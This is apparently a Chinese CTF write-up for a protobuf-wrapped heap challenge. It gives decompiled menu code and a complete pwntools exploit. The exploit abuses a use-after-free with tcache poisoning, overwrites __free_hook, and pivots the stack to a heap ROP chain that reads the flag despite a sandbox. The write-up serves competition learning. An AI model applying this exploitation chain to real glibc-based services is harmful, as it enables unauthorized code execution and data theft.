1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { ssize_t v3; _QWORD *v4; initial(); while ( 1 ) { memset (&s_, 0 , 0x400u LL); puts ("You can try to have friendly communication with me now: " ); v3 = read(0 , &s_, 0x400u LL); v4 = (_QWORD *)sub_192D(0LL , v3, &s_); if ( !v4 ) break ; heap_menu(v4[3 ], v4[4 ], v4[5 ], v4[6 ], v4[7 ]); } error(0LL , v3); }
逆向后需要根据protobuf来交互,这里略去 解决交互后就是一个菜单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall heap_menu ( __int64 n4, unsigned __int64 n0x20, unsigned __int64 n0xF0_1, unsigned __int64 n0xF0, __int64 src) { unsigned __int64 size; size = n0xF0_1; if ( n0x20 > 0x20 ) error(); if ( n0xF0 > 0xF0 ) error(); if ( n0xF0_1 > 0xF0 ) error(); if ( (__int64)n0xF0_1 < (__int64)n0xF0 ) size = n0xF0; if ( n4 == 4 ) return (__int64)delete(n0x20); if ( n4 > 4 ) goto LABEL_19; if ( n4 == 3 ) return show(n0x20); if ( n4 == 1 ) return (__int64)add(n0x20, size, n0xF0, (const void *)src); if ( n4 != 2 ) LABEL_19: error(); return (__int64)edit(n0x20, n0xF0, (const void *)src); }
增删查改,有uaf,限制chunk在tcache中,题目开启沙箱,我们利用svcudp_reply+26将栈迁移到堆,进行ROP。注意利用add rsp ; ret的gadget来调整rsp,方便我们在堆中布置ROP的同时满足svcudp_reply+26的要求 这里不知为何libc.sym['svcudp_reply']解析会出错,调试时候这个符号是存在的;exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 from pwn import *import varintimport syscontext(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6_2.31-0ubuntu9.9_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node4.anna.nssctf.cn" port = 28014 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6-dbg_2.31-0ubuntu9.9_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/glibc-source_2.31-0ubuntu9.9_all/usr/src/glibc/glibc-2.31 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() def Mode (m ): return b'\x08' +varint.encode(m<<1 ) def Ind (i ): return b'\x10' +varint.encode(i<<1 ) def Size (s ): return b'\x18' +varint.encode(s<<1 ) def Data (d ): return b'\x22' +varint.encode(len (d))+d def add (idx, size, data = b'' ): payload = Mode(1 ) + Ind(idx) + Size(size) + Data(data) io.sendafter("now: \n" , payload) def edit (idx, data ): payload = Mode(2 ) + Ind(idx) + Size(0 ) + Data(data) io.sendafter("now: \n" , payload) def show (idx ): payload = Mode(3 ) + Ind(idx) + Size(0 ) + Data(b'' ) io.sendafter("now: \n" , payload) def free (idx ): payload = Mode(4 ) + Ind(idx) + Size(0 ) + Data(b'' ) io.sendafter("now: \n" , payload) add(0x1f , 0x30 ) add(0x20 , 0x30 ) free(0x1f ) free(0x20 ) show(0x20 ) heap_base = (u64(io.recv(6 ).ljust(0x8 , b'\x00' )) >> 12 ) << 12 log.info("heap_base --> " +hex (heap_base)) add(0 , 0xf0 ) add(1 , 0xf0 ) for i in range (7 ): free(0 ) edit(0 , b'a' *0x10 ) free(1 ) show(1 ) io.recv(0x50 ) libc_base = u64(io.recv(6 ).ljust(0x8 , b'\x00' )) - 0x1ecbe0 log.info("libc_base --> " +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] magic_gadget = libc_base + 0x154dea edit(0 , p64(free_hook)) add(2 , 0xf0 ) add(3 , 0xf0 , p64(magic_gadget)) add(4 , 0xe0 ) add(5 , 0xe0 ) chunk_addr = heap_base + 0xdc0 + 0x10 chunk_addr2 = heap_base + 0xf00 + 0x10 log.info("chunk1 --> " +hex (chunk_addr)) log.info("chunk2 --> " +hex (chunk_addr2)) leave_ret = libc_base + 0x578c8 open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x23b6a pop_rsi_ret = libc_base + 0x2601f pop_rdx_ret = libc_base + 0x142c92 add_rsp_ret = libc_base + 0x47869 ret = pop_rdi_ret + 1 flag_addr = chunk_addr + 0x20 ropchain = p64(pop_rdi_ret) + p64(flag_addr) +\ p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3 ) +\ p64(pop_rsi_ret) + p64(heap_base + 0x300 ) +\ p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) +\ p64(pop_rdi_ret) + p64(1 ) +\ p64(pop_rsi_ret) + p64(heap_base + 0x300 ) +\ p64(pop_rdx_ret) + p64(0x50 ) + p64(write_addr) payload = b'' payload = payload.ljust(0x8 , b'\x00' ) + p64(add_rsp_ret) payload = payload.ljust(0x18 , b'\x00' ) + p64(chunk_addr2) payload += b'./flag\x00\x00' payload += ropchain edit(4 , payload) payload = b'' payload = payload.ljust(0x28 , b'\x00' ) + p64(leave_ret) payload = payload.ljust(0x48 , b'\x00' ) + p64(chunk_addr) edit(5 , payload) free(5 ) io.interactive()